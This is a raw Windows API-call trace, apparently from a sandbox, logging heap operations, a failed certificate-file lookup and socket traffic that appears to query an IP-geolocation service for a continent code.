GetCurrentThreadId () returned 0x9fc [0118.858] GetCurrentThreadId () returned 0x9fc [0118.858] GetCurrentThreadId () returned 0x9fc [0118.858] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0118.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ba0 [0118.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34bb8 [0118.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35dc8 [0118.858] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0118.858] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x18fa30, cchWideChar=24 | out: lpWideCharStr="/usr/local/ssl/cert.pem") returned 24 [0118.858] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x110f18d8, cbMultiByte=2, lpWideCharStr=0x18fa74, cchWideChar=8 | out: lpWideCharStr="r") returned 2 [0118.858] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.858] GetLastError () returned 0x3 [0118.858] GetLastError () returned 0x3 [0118.858] SetLastError (dwErrCode=0x3) [0118.858] GetLastError () returned 0x3 [0118.858] SetLastError (dwErrCode=0x3) [0118.858] GetLastError () returned 0x3 [0118.859] SetLastError (dwErrCode=0x3) [0118.859] GetLastError () returned 0x3 [0118.859] SetLastError (dwErrCode=0x3) [0118.859] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.859] GetLastError () returned 0x3 [0118.859] GetLastError () returned 0x3 [0118.859] SetLastError (dwErrCode=0x3) [0118.859] GetLastError () returned 0x3 [0118.859] SetLastError (dwErrCode=0x3) [0118.859] GetLastError () returned 0x3 [0118.859] SetLastError (dwErrCode=0x3) [0118.859] GetLastError () returned 0x3 [0118.859] GetCurrentThreadId () returned 0x9fc [0118.859] GetCurrentThreadId () returned 0x9fc [0118.859] GetCurrentThreadId () returned 0x9fc [0118.859] GetCurrentThreadId () returned 0x9fc [0118.859] GetCurrentThreadId () returned 0x9fc [0118.859] GetCurrentThreadId () returned 0x9fc [0118.859] GetCurrentThreadId () returned 0x9fc [0118.859] GetCurrentThreadId () returned 0x9fc [0118.859] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x51) returned 0x2d4a0a0 [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetCurrentThreadId () returned 0x9fc [0118.860] GetLastError () returned 0x3 [0118.860] SetLastError (dwErrCode=0x3) [0118.860] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.861] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] GetCurrentThreadId () returned 0x9fc [0118.862] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d08 [0118.862] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4abd8 [0118.862] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34be8 [0118.862] GetLastError () returned 0x3 [0118.862] SetLastError (dwErrCode=0x3) [0118.862] GetLastError () returned 0x3 [0118.863] SetLastError (dwErrCode=0x3) [0118.863] GetLastError () returned 0x3 [0118.863] SetLastError (dwErrCode=0x3) [0118.863] GetLastError () returned 0x3 [0118.863] SetLastError (dwErrCode=0x3) [0118.863] GetLastError () returned 0x3 [0118.863] SetLastError (dwErrCode=0x3) [0118.863] GetLastError () returned 0x3 [0118.863] SetLastError (dwErrCode=0x3) [0118.863] GetLastError () returned 0x3 [0118.863] SetLastError (dwErrCode=0x3) [0118.863] GetLastError () returned 0x3 [0118.863] SetLastError (dwErrCode=0x3) [0118.863] GetLastError () returned 0x3 [0118.863] SetLastError (dwErrCode=0x3) [0118.863] GetLastError () returned 0x3 [0118.863] SetLastError (dwErrCode=0x3) [0118.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f28 [0118.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c00 [0118.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34c18 [0118.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f48 [0118.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c30 [0118.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x15) returned 0x2d35da8 [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.864] GetCurrentThreadId () returned 0x9fc [0118.865] GetCurrentThreadId () returned 0x9fc [0118.865] GetCurrentThreadId () returned 0x9fc [0118.865] GetCurrentThreadId () returned 0x9fc [0118.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c4) returned 0x2d48198 [0118.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d50ac0 [0118.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ac0 | out: hHeap=0x2a0000) returned 1 [0118.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x348) returned 0x2d50ac0 [0118.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d295f8 [0118.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d295f8 | out: hHeap=0x2a0000) returned 1 [0118.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ac0 | out: hHeap=0x2a0000) returned 1 [0118.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fa8 [0118.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d80 [0118.865] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34d80, Size=0x20) returned 0x2d4a240 [0118.865] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a240, Size=0x40) returned 0x2d365f0 [0118.865] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d365f0, Size=0x80) returned 0x2d4ead8 [0118.865] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2a0e90 [0118.865] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2a0e90, Size=0x200) returned 0x2d25088 [0118.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48198 | out: hHeap=0x2a0000) returned 1 [0118.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ec8 [0118.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d80 [0118.865] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34d80, Size=0x200) returned 0x2d37690 [0118.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0118.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0118.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37488 | out: hHeap=0x2a0000) returned 1 [0118.865] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35cc8 | out: hHeap=0x2a0000) returned 1 [0118.865] setsockopt (s=0x12c, level=65535, optname=4102, optval="0u", optlen=4) returned 0 [0118.865] setsockopt (s=0x12c, level=65535, optname=4101, optval="0u", optlen=4) returned 0 [0118.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0118.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0118.866] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1dc) returned 0x2d24e80 [0118.866] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2d50ac0 [0118.866] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d25290 [0118.866] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a240 [0118.866] GetCurrentThreadId () returned 0x9fc [0118.866] GetCurrentThreadId () returned 0x9fc [0118.866] GetCurrentThreadId () returned 0x9fc [0118.866] GetCurrentThreadId () returned 0x9fc [0118.866] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x42c) returned 0x2d50c48 [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35cc8 [0118.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d80 [0118.867] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365f0 [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.867] GetCurrentThreadId () returned 0x9fc [0118.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa90 | out: lpSystemTimeAsFileTime=0x18fa90*(dwLowDateTime=0x97c075e0, dwHighDateTime=0x1d60051)) [0118.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa28 | out: lpSystemTimeAsFileTime=0x18fa28*(dwLowDateTime=0x97c075e0, dwHighDateTime=0x1d60051)) [0118.868] WSASetLastError (iError=0) [0118.868] send (s=0x12c, buf=0x2d3b470*, len=329, flags=0) returned 329 [0118.869] WSASetLastError (iError=0) [0118.869] recv (in: s=0x12c, buf=0x2d518f8, len=7, flags=0 | out: buf=0x2d518f8*) returned 7 [0118.892] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365a8 [0118.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa40 | out: lpSystemTimeAsFileTime=0x18fa40*(dwLowDateTime=0x97c538a0, dwHighDateTime=0x1d60051)) [0118.892] WSASetLastError (iError=0) [0118.892] recv (in: s=0x12c, buf=0x2d51902, len=61, flags=0 | out: buf=0x2d51902*) returned 61 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1) returned 0x2d4abc8 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35260 [0118.893] SetLastError (dwErrCode=0x0) [0118.893] WSASetLastError (iError=0) [0118.893] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0118.893] SetLastError (dwErrCode=0x0) [0118.893] WSASetLastError (iError=0) [0118.893] recv (in: s=0x12c, buf=0x2d51900, len=2201, flags=0 | out: buf=0x2d51900*) returned 2201 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd7c) returned 0x2d581f0 [0118.893] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d55e48 | out: hHeap=0x2a0000) returned 1 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35278 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d58f78 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d56200 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fc0 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4abe8 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e70 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351d0 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4abb8 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e40 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e28 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36208 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36168 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f30 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34f18 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34e10 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac18 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35080 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab58 [0118.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35020 [0118.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35038, Size=0x20) returned 0x2d4a678 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361e8 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35038 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e88 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d98 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e68 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab08 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36248 [0118.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351d0 | out: hHeap=0x2a0000) returned 1 [0118.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e70 | out: hHeap=0x2a0000) returned 1 [0118.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36068 | out: hHeap=0x2a0000) returned 1 [0118.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360a8 | out: hHeap=0x2a0000) returned 1 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e70 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351d0 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d4a0a0 [0118.894] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34e70, Size=0x20) returned 0x2d4a330 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36228 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e70 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362c8 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35170 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35290 [0118.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35200 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36408 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab28 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab88 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362a8 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35098 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac48 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351e8 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361c8 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acd8 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35218 [0118.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363c8 [0118.895] 